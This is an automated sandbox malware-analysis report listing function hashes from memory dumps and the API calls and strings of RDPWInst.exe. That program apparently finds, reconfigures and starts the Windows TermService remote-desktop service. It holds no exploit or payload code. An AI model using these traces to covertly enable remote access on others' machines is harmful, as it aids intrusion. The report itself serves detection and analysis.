Opcode ID: f2341d44c15a73cdec56c61e9533cc5e0f2dd3b36390deaf8615c6a0d4451555
Instruction ID: 4584180ba9eee774ca009f33ccfd97e74cdac1d2715af443da2ca0b9e9c61c87
Opcode Fuzzy Hash: f2341d44c15a73cdec56c61e9533cc5e0f2dd3b36390deaf8615c6a0d4451555
Instruction Fuzzy Hash: 44313C35A00209CFDB15DF69C444ADDBBF2AF89320F18819AE445BB365C775AD86CFA0

Function 014115C8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a8b892fc09fea9393ecf9aac7f7e3dc717026891020c80391abc00d66b4ca30
Instruction ID: c379c852092525183bbaacb6ca1da3f903fb633263a1f6a6062d8e805378269e
Opcode Fuzzy Hash: 9a8b892fc09fea9393ecf9aac7f7e3dc717026891020c80391abc00d66b4ca30
Instruction Fuzzy Hash: 2B21D331E04209EFDB05EBB8D9805DEBFF6AF89700F1884A7E401A7229DB305D45CB61

Function 014115D5 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615fdda607f53a0d8998fa38ed7c78172e9bc77a59d6d5ca0098a84ca83c0b61
Instruction ID: cde2e98b51524079c804acef6aff3bad86f9681fc327b70c696a801bfb2e522d
Opcode Fuzzy Hash: 615fdda607f53a0d8998fa38ed7c78172e9bc77a59d6d5ca0098a84ca83c0b61
Instruction Fuzzy Hash: 7A218031E04209EFCB05EBB8D9806DEBFF6AF89700F1885A7E401A7219CA356D45CB61

Function 01411E20 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e7dde0b605724f054a68d1ae5c939624862beca54f42346eec7fe354fdd62f
Instruction ID: 6682bcf99e631c299536dd035a26223e2fa2830af02490bf700774fe558a87c3
Opcode Fuzzy Hash: 19e7dde0b605724f054a68d1ae5c939624862beca54f42346eec7fe354fdd62f
Instruction Fuzzy Hash: 6111E335B00318DFDF0467BD99143AFBAAEEB84B20F00443AE609D3398DA35C94587D1

Function 01412420 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d67b28f9bb32039524b0b402f60cdb422911c8077c35197488aa34f065ac9d20
Instruction ID: 87020862890beb2e08c659be858113e62b601b2fbe812ba44ce7a441825455c2
Opcode Fuzzy Hash: d67b28f9bb32039524b0b402f60cdb422911c8077c35197488aa34f065ac9d20
Instruction Fuzzy Hash: 15218C31A50208EFCB08EB69D554AAD7BF6EB8C700F20802AE501E7368CB75AC41CF90

Function 01411F41 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c653709afd9ca56d94cd5301f8861452e0afb0ed0f1e1248089bc46095f9b66c
Instruction ID: cb38459c1991e6fc02919fda8aa29c165a931b7b7981a591965f34165ba78832
Opcode Fuzzy Hash: c653709afd9ca56d94cd5301f8861452e0afb0ed0f1e1248089bc46095f9b66c
Instruction Fuzzy Hash: 7711D0306042558FDB25DB38C4647EEBBF2AF88704F00046ED046AB3A5CFB6AC08CB61

Function 01411F48 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cdedd8b1b9599ec728e7015ccdc11422269363472d2323d66edbcf515261f4e
Instruction ID: bad70316db67882f99ac7ffcda973cbd00316499554af1fd67885e659a02fcae
Opcode Fuzzy Hash: 5cdedd8b1b9599ec728e7015ccdc11422269363472d2323d66edbcf515261f4e
Instruction Fuzzy Hash: DF1190316042558FDB14DB38C4547DEBBF2AF48704F00046ED146AB3A5CBB6AC04CBA1

Function 01410AFA Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63307a1885cb6071b8ae6e0106570a46a66903dca70a3118187e0750a34d2e31
Instruction ID: ad400dea6f8a00ccd0342c4e5b1396c8a030d2207ba83105cb756de22e2f2744
Opcode Fuzzy Hash: 63307a1885cb6071b8ae6e0106570a46a66903dca70a3118187e0750a34d2e31
Instruction Fuzzy Hash: B701D632D1070E9BCB019BB9D8400DDFB7AEFC9310F554666E010B7160E770248BC751

Function 011BD7F1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3517317193.00000000011BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11bd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e58a127aa28e93fd32d06d2402479c94afbf3981ca21a6565ca94772e52bec2b
Instruction ID: 80c4f5b632779a8e0cba922082221868f2f4d14e09dcbefd385cf9db442f994c
Opcode Fuzzy Hash: e58a127aa28e93fd32d06d2402479c94afbf3981ca21a6565ca94772e52bec2b
Instruction Fuzzy Hash: 02012B314083049AEB1D4AAADDC47A7FFD8EF40729F18C429ED0C0A186C338D840CBB2

Function 01410877 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6be31b022e48c62e0218dddabb84713409b84e0821c6d7f13f0c81a4cfe564f1
Instruction ID: 735a6edf334b7d1aa9f7caa20bdcd7ab91becb216d9a9cedd46ab5c4bc80a507
Opcode Fuzzy Hash: 6be31b022e48c62e0218dddabb84713409b84e0821c6d7f13f0c81a4cfe564f1
Instruction Fuzzy Hash: B9017132D1060B9BCB009BB8D8404DDB7B5EFCA320F168666D511B7160FB74259ECFA0

Function 01411C40 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0e3a56ba3038f3dbf8232e07ba45b94f4e853d4c67aa0fee9eb516e0cf3a6f4
Instruction ID: 9e4a1ba0a5f44f071a60206ad3d844d4d59dda2d10ac124e33cfc8f91c61d81c
Opcode Fuzzy Hash: e0e3a56ba3038f3dbf8232e07ba45b94f4e853d4c67aa0fee9eb516e0cf3a6f4
Instruction Fuzzy Hash: 3B0180306043599BDB25E728C4147EEBBF2BB85704F00092ED142AB394DFBA6945CBA1

Function 01410B08 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e4af229228d874e2ffa61ed650339bb87a7aa2a37d3d280f089d6cb5c7257d2
Instruction ID: 40f09f847cfd66f649cefd7151cb2745a47c57d1464393a138a5c5ae9dcc1974
Opcode Fuzzy Hash: 1e4af229228d874e2ffa61ed650339bb87a7aa2a37d3d280f089d6cb5c7257d2
Instruction Fuzzy Hash: 12014F32D1060AABCF00DBA9E8404DEFBBAEFC9320F554666E111B7150EB70258ACB90

Function 01410B82 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 434850d91367c7fef13e1ac2bf20cb72e3fa4f3f1accafa653ae09214df552bc
Instruction ID: 5f5e1daeaab7acd4b38bc933b2be874172abe2ef577c5e0e1a609390ea398688
Opcode Fuzzy Hash: 434850d91367c7fef13e1ac2bf20cb72e3fa4f3f1accafa653ae09214df552bc
Instruction Fuzzy Hash: 8AF0F6719502099BCF159B78C424AEFBBBAAF84700F41482AE002BB284DF716907C7D2

Function 014108F7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d09b742fc87d06fa70d1425eb90e17c26a629bdca3cd4ce3e7a504f8c82ad92
Instruction ID: 24d7a92fbc16fd2c7fd97c42056b69c2b82977059ea7c1749af21ccf585b9b48
Opcode Fuzzy Hash: 4d09b742fc87d06fa70d1425eb90e17c26a629bdca3cd4ce3e7a504f8c82ad92
Instruction Fuzzy Hash: 31F0FF3292020A9BEF149B74C0A45EFBFB6AB84300F04892AD002B7244DEB059068F82

Function 011BD7F0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3517317193.00000000011BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11bd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bbc1f74bd382a9866eaeb1aed87fea5ee2c8c2c2150109707aef37e2a3cc39a
Instruction ID: b54b66e296214c042501fcb7fedca2db7e97a7e6b8bf67ba4e8877b426c84c74
Opcode Fuzzy Hash: 1bbc1f74bd382a9866eaeb1aed87fea5ee2c8c2c2150109707aef37e2a3cc39a
Instruction Fuzzy Hash: 67F062714093449EEB158A1ADDC4BA6FFA8EB41739F18C45AED0C4F286C3799844CB71

Function 01410908 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7559dd5a4c9c7e7d2e5888c056e7fa63976568482e443b6aaa87309d50a4005
Instruction ID: 777ee9a06b98014bb128c398af228ae3c97ff8813f7cadd50fbbb1134d1af1bd
Opcode Fuzzy Hash: a7559dd5a4c9c7e7d2e5888c056e7fa63976568482e443b6aaa87309d50a4005
Instruction Fuzzy Hash: 04F0E232E201099BDF14DB74C4659EFBFBA9F84310F05852AE002B7254DEB069068BD2

Function 01412905 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ca781202309180ca84dcdbb3d3a6a80753c1b0c4afd9184333f02c9d96fa7e
Instruction ID: bd1208bacfac7c27fa56c184a2d632036851afcb62ef8cbe7b940880b5924012
Opcode Fuzzy Hash: 96ca781202309180ca84dcdbb3d3a6a80753c1b0c4afd9184333f02c9d96fa7e
Instruction Fuzzy Hash: 44F05430A502199BDF14EB5DC514BEE7AF6FB48740F20451AD401F7398CBB91A01CBE5

Function 01411E19 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118ca6d64972deaf4a45836e68d465a57d8cddb6c6c20e305a040eebc3ecacde
Instruction ID: f82c6b2b879e488bc2f7c22ff2d3038a627a63f36d834de895f7259e23696f79
Opcode Fuzzy Hash: 118ca6d64972deaf4a45836e68d465a57d8cddb6c6c20e305a040eebc3ecacde
Instruction Fuzzy Hash: ACF01C75D003059EDB90ABB998042EBBEF5AF88A60F10417BDA09D2255E735C605CBA1

Function 01411EE9 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4efd6a9c83886169761a7a907baffdddc11309e570ac64561fd1e1a1ae9fd8c5
Instruction ID: 7a9c69ae028f11a93dbaa95d2b22099e8d397fad1adc764a3fe3f61100529439
Opcode Fuzzy Hash: 4efd6a9c83886169761a7a907baffdddc11309e570ac64561fd1e1a1ae9fd8c5
Instruction Fuzzy Hash: FDE092302942C5AFDF12DB70FA746A43FB0EB96604F1444EFF5488B59BD6229817D701

Function 01410838 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de630ac0d59b311d0901742cad5045a036baa19ff12fda4a2799559b1e5ae2c2
Instruction ID: 4e5340a3f84c17fac96b7cd46cc13f82f1eb39c88a3a00144d6d3a12388d95da
Opcode Fuzzy Hash: de630ac0d59b311d0901742cad5045a036baa19ff12fda4a2799559b1e5ae2c2
Instruction Fuzzy Hash: 76E0263180A3889FDB02CFB89A2479CBFB8AB02240F5440C6E488DB217C5309E51CBA2

Function 01411BF8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afc441aa39aa5144e5b1a3113006204966d33554cfe264a0bb1146d0980fd9ec
Instruction ID: 2455df16d0563d0881158efa0c7c66d7a5b26043a85ec39ebf38e8430f630419
Opcode Fuzzy Hash: afc441aa39aa5144e5b1a3113006204966d33554cfe264a0bb1146d0980fd9ec
Instruction Fuzzy Hash: EFD02B3174011457CF0632B8B5140A6338ED784A24B000036DA0DC3388EF65984343C1

Function 01410848 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728d22c5539496ec81ba72e94eabcc7def9033c4da3c4a8ad860fda2741cc075
Instruction ID: 9064c97b9180ecda42934e39c030a6f7c1701a1d1b0ee3972f998f1b1f56184d
Opcode Fuzzy Hash: 728d22c5539496ec81ba72e94eabcc7def9033c4da3c4a8ad860fda2741cc075
Instruction Fuzzy Hash: A0D01772905208AFEB11DFA8D50575DBBB8AB05240F614496E848CB219DA319E50C791

Function 01410D72 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7596de8203c3f65c8491a2df950a0ed3a4052eaa3583473067d21faacf96f56
Instruction ID: 0555c229e785eaa1050d0d118b20b8a92132c7766e768531b90e31602742653e
Opcode Fuzzy Hash: c7596de8203c3f65c8491a2df950a0ed3a4052eaa3583473067d21faacf96f56
Instruction Fuzzy Hash: 50D05E22A043548FCB219FB894000DC7BA09AD5230B4441A3C098C7266D620C4968B22

Function 01410D60 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42e9c318ec2634ad5ae108d6d1125c0049db94c9ed4b0767f08cdc3327d7f733
Instruction ID: c71373c4723bbc0777a7af843203da12d734495d08cfce52bfce35246ba16554
Opcode Fuzzy Hash: 42e9c318ec2634ad5ae108d6d1125c0049db94c9ed4b0767f08cdc3327d7f733
Instruction Fuzzy Hash: DAD05E71A002058FCF04CB99E4008DCBBF1EFC8230F4981B6D01997672D6305482CB20

Function 01410DB1 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 727578dcc9e243b55025a3dfc30de36292fd6f63c9a7b7a2dc1b0fb22d643986
Instruction ID: 8fbb6aa4503f1ef2a86259a9ad254a8b33d856a11762d3c6579d303c57710310
Opcode Fuzzy Hash: 727578dcc9e243b55025a3dfc30de36292fd6f63c9a7b7a2dc1b0fb22d643986
Instruction Fuzzy Hash: B2B01236A00008C5CF00CBC8F0003ECB770E7C0336F000063D20C63404833012A64693

Analysis Process: RDPWInst.exePID: 7052, Parent PID: 6892COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 0043B7D4 Relevance: 33.6, APIs: 9, Strings: 10, Instructions: 336
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,00000000,0043BC5D,?,?,?,00447324,00000000,00000000,?,00443F06,00000000,00443FB2), ref: 0043B801
GetLastError.KERNEL32(00000000,ServicesActive,00000005,00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B80C
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B8A2
GetLastError.KERNEL32(00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8AF
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8BF
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B953
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B95D
GetLastError.KERNEL32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B962
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B99F

Strings

$sD, xrefs: 0043B819, 0043B8CA, 0043B96F, 0043BA28, 0043BA5A, 0043BAA8, 0043BBED, 0043BC13
[*] No shared services found., xrefs: 0043BC18
[-] Failed to set up TermService. Unknown error., xrefs: 0043BA5F
TermService, xrefs: 0043B9E3, 0043BA7D, 0043BA8C
[-] OpenSCManager error (code , xrefs: 0043B81E
[-] EnumServicesStatusEx error (code , xrefs: 0043B8CF, 0043B974
[-] TermService not found., xrefs: 0043BA2D
[+] TermService found (pid , xrefs: 0043BAAD
[*] Shared services found: , xrefs: 0043BBF2
ServicesActive, xrefs: 0043B7FA

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLastService$EnumServicesStatus$ManagerOpen
String ID: $sD$ServicesActive$TermService$[*] No shared services found.$[*] Shared services found: $[+] TermService found (pid $[-] EnumServicesStatusEx error (code $[-] Failed to set up TermService. Unknown error.$[-] OpenSCManager error (code $[-] TermService not found.
API String ID: 2770857348-2470772499
Opcode ID: bdcf77957b8ef17359aa2c2f35968ba8930b31ce6167e8ba152cfdf214f6386e
Instruction ID: fb74497bf6b161f68451673f63bd6f491a4d1cb4b87c09a1aee9fb4a9c308b37
Opcode Fuzzy Hash: bdcf77957b8ef17359aa2c2f35968ba8930b31ce6167e8ba152cfdf214f6386e
Instruction Fuzzy Hash: A1C15074A041049BD710FBB9DD42B5E76A5EB89308F11507FF640BB292CB3CAD058BAE

Function 0043B1A8 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 118
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000,00000000,00000000,00000030), ref: 0043B1FE
GetLastError.KERNEL32(00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000,00000000,00000000,00000030), ref: 0043B209
OpenServiceW.ADVAPI32(00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000), ref: 0043B24F
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C), ref: 0043B25B
GetLastError.KERNEL32(00000000,00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C), ref: 0043B260

Strings

[-] OpenSCManager error (code , xrefs: 0043B21B
$sD, xrefs: 0043B1CA, 0043B216, 0043B26D, 0043B2CD
[-] OpenService error (code , xrefs: 0043B272
[*] Configuring , xrefs: 0043B1CF
[-] ChangeServiceConfig error (code , xrefs: 0043B2D2
ServicesActive, xrefs: 0043B1F7
..., xrefs: 0043B1E1

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: $sD$...$ServicesActive$[*] Configuring $[-] ChangeServiceConfig error (code $[-] OpenSCManager error (code $[-] OpenService error (code
API String ID: 48634454-398082305
Opcode ID: 3b1e76f9c62e1046217b3bbe464b976e02e2f47daf27cfab7c11257a6428595c
Instruction ID: ec3001641675e227f0f71ffcc16d431bf32a474d6a16b1f18b89db5f0a2815a5
Opcode Fuzzy Hash: 3b1e76f9c62e1046217b3bbe464b976e02e2f47daf27cfab7c11257a6428595c
Instruction Fuzzy Hash: 32318DA4708210AAE611B7B68D43B2F6598DF8D308F12917BB614A6693CB3C9D0195BF

Function 0043B58C Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 107
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5EA
GetLastError.KERNEL32(?,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5F9

Part of subcall function 0043B48C: CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4BC
Part of subcall function 0043B48C: CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4D1

OpenServiceW.ADVAPI32(00000000,00000000,00000010,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B61F
GetLastError.KERNEL32(?,00000000,00000000,00000010,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B62E

Strings

..., xrefs: 0043B5CD
$sD, xrefs: 0043B5B6
StartService, xrefs: 0043B689, 0043B699
OpenService, xrefs: 0043B635
[*] Starting , xrefs: 0043B5BB
ServicesActive, xrefs: 0043B5E3
OpenSCManager, xrefs: 0043B600

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Service$CloseErrorHandleLastOpen$Manager
String ID: $sD$...$OpenSCManager$OpenService$ServicesActive$StartService$[*] Starting
API String ID: 2257214823-3855835416
Opcode ID: 55f0df0e7310880f6e7cb70b762c89182bbbe75636a3247ae01688996091d268
Instruction ID: 0e693e6e1cec2ac2fe46a8ff9d209bc722a6061919d6bcedfcc5fc96e321ed9b
Opcode Fuzzy Hash: 55f0df0e7310880f6e7cb70b762c89182bbbe75636a3247ae01688996091d268
Instruction Fuzzy Hash: 6C313471A04208AEDB10FBB68842B5F77E8DB4C715F60947BF614E7283DB7C9940869E

Function 0043BF00 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF3D
